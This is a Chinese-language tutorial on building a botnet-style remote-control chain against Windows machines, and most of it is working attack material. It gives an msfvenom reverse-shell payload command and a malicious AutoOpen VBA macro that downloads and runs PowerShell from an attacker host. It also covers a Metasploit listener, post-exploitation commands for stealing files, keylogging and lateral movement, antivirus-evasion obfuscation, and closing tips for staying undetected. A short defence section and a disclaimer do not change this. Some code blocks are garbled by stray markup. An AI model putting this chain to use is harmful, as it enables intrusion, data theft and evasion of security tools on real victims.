0x01 入侵的入口：肉鸡控制的技术原理

在控制肉鸡电脑的过程中，攻击者的目标是通过某些技术手段获取对目标计算机的远程控制权限，并将其纳入自己的攻击网络中。无论是单一的计算机，还是庞大的僵尸网络，肉鸡的核心在于操控和利用。攻击者通常会通过漏洞利用、钓鱼攻击、恶意软件植入等手段入侵目标计算机，并通过远程控制协议或恶意软件的C2通信模块对其进行实时操控。

核心原理：

  1. 初始控制入口：通常是攻击者通过漏洞利用（如RCE漏洞、钓鱼邮件、社工等）植入恶意载荷。
  2. 持久化和免杀：植入成功之后，攻击者会想办法保持持久性控制，通常通过注册表修改、计划任务或后门服务实现。
  3. C2通信建立：通常使用 HTTP/HTTPS、DNS隧道或者自定义协议进行远程控制通信。
  4. 利用肉鸡：攻击者可以用肉鸡进行进一步的网络横向移动、数据窃取、DDoS攻击等。

一个典型案例是通过 Office 宏病毒进行肉鸡控制。攻击者通过构造恶意的 VBA 宏代码并植入到文档中，诱导目标受害者打开文档并执行宏代码，从而触发恶意载荷下载与运行。

下面，我们从技术角度剖析如何搭建一个基础的肉鸡控制环境，并实现从漏洞利用到最终控制的完整链路。

黑客示意图

---

0x02 漏洞利用入口：环境搭建与恶意文档构造

环境准备

为了复现并测试，我们需要以下环境：

  1. 攻击者机器：Kali Linux 或者 Parrot OS（预装 Metasploit 和 Python）
  2. 受害者机器：Windows 10/11（建议安装 Office 365 或 2016 版本）
  3. 网络配置：攻击者与目标机器需要可以互相访问（同一个局域网，或者通过公网 IP）

可以通过 VMware 或 VirtualBox 搭建虚拟环境，配置 NAT 网络模式以模拟真实环境。

---

恶意文档的构造

这里我们使用 Metasploit 自带的 msfvenom 工具生成一个恶意的宏代码，并将其嵌入到 Word 文档中。

生成恶意载荷

攻击者可以使用以下命令生成一个 PowerShell 载荷，它会在被执行时连接回攻击者的机器并启动 Meterpreter 会话。

<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh &gt; payload.ps1</code></pre>

黑客示意图

  • -p：指定载荷类型，这里是 windows/meterpreter/reverse_tcp。
  • LHOST：攻击者的 IP 地址。
  • LPORT：监听的端口。
  • -f psh：生成一个 PowerShell 格式的恶意脚本。

构造宏代码

将生成的 PowerShell 脚本嵌入到一个恶意的 VBA 宏中。以下是一个典型的恶意 VBA 宏，用户打开文档时会自动执行：

<pre><code class="language-vba">Sub AutoOpen() Call Shell(&quot;powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command \&quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://192.168.1.100/payload.ps1&#039;)\&quot;&quot;) End Sub</code></pre>

  • AutoOpen：确保文档打开时自动触发。
  • Shell：执行 PowerShell 命令。
  • ExecutionPolicy Bypass：绕过 PowerShell 的执行策略。
  • DownloadString：从攻击者的机器下载恶意脚本。

黑客示意图

嵌入到 Word 文档

通过 Office 自带的开发者工具，将上述宏代码插入到 Word 文档的宏编辑器中。保存后，即可生成一个带有恶意宏的 Word 文件。

---

0x03 实战：远程控制肉鸡机器

监听攻击会话

在攻击者机器上，启动 Metasploit，设置监听模块等待目标机器连接回。

  1. 启动 Metasploit：

    2. <pre><code class="language-bash"> msfconsole `

  1. 配置监听模块：

    2. `bash use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit `

当目标机器打开恶意文档并触发宏代码时，攻击者将收到一个反向 Meterpreter 会话： </code></pre>bash meterpreter > sysinfo Computer : VICTIM-PC OS : Windows 10 (Build 19045) Architecture : x64 <pre><code> ---

肉鸡控制的常见操作

获得控制会话后，以下是几种常见的操作：

  1. 文件操作：
  • 查看目标机器上的文件：

    • `bash meterpreter &gt; ls `

  • 下载文件：

    • `bash meterpreter &gt; download C:\\Users\\victim\\Documents\\confidential.docx `

  1. 屏幕截图：
  • 捕获目标机器当前屏幕：

    • `bash meterpreter &gt; screenshot `

  1. 键盘记录：
  • 启动键盘记录功能：

    • `bash meterpreter &gt; keyscan_start `

  • 查看记录的按键：

    • `bash meterpreter &gt; keyscan_dump `

  1. 横向移动：
  • 使用目标机器的凭据连接其他机器：

    • `bash meterpreter &gt; psexec DOMAIN\\username password //192.168.1.200 cmd.exe `

---

0x04 绕过检测的艺术：免杀与模糊测试

主流的杀软和 EDR 系统会对宏代码和载荷进行检测，需要对恶意文档和载荷进行免杀处理。

宏代码混淆

对宏代码进行简单的字符串混淆。例如，可以将关键的 PowerShell 命令用 Base64 编码： </code></pre>vba Sub AutoOpen() Dim cmd As String cmd = "powershell.exe -ExecutionPolicy Bypass -EncodedCommand " & "aQBlAHgAIAAoACQAbgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIALgBDAGwAaQBlAG4AdAApAC4ARABvAGMAdQBtAGUA ... (省略)" Call Shell(cmd) End Sub `

跨平台免杀工具

借助一些工具（如 Veil 或 Obfuscator），进一步混淆和加密生成的载荷文件，绕过静态和动态分析。

---

0x05 防御与检测：蓝队的反击

虽然攻击者掌握了诸多免杀技术，但蓝队可以通过以下手段进行有效检测与防御：

检测恶意行为

  1. 宏代码分析：禁止宏自动运行；利用工具（如 YARA）对文档中的宏代码进行扫描。
  2. 网络流量监控：通过 IDS/IPS 检测可疑的 PowerShell 下载行为。
  3. 行为分析：通过 EDR 检测异常的进程行为，如 PowerShell 执行远程下载。

防御策略

  1. 禁用 Office 宏功能，或者启用宏沙盒运行。
  2. 在边界防火墙上阻止高危端口通信。
  3. 对终端设备启用应用白名单，限制未知程序执行。

---

0x06 攻击者的经验之谈

  • 社会工程学的重要性：大多数肉鸡控制的第一步是靠钓鱼或社工，技术只是辅助，心理战才是关键。
  • 保持低噪声操作：攻击过程中要尽量减少引起注意的行为，如避免过多地下载文件或执行明显恶意的命令。
  • 快速横向移动：肉鸡一旦被发现可能很快会被隔离，因此要快速扩展自己的攻击面，夺取更多设备的控制权。

免责声明：本文的技术仅用于授权的安全研究与测试，请勿用于非法目的！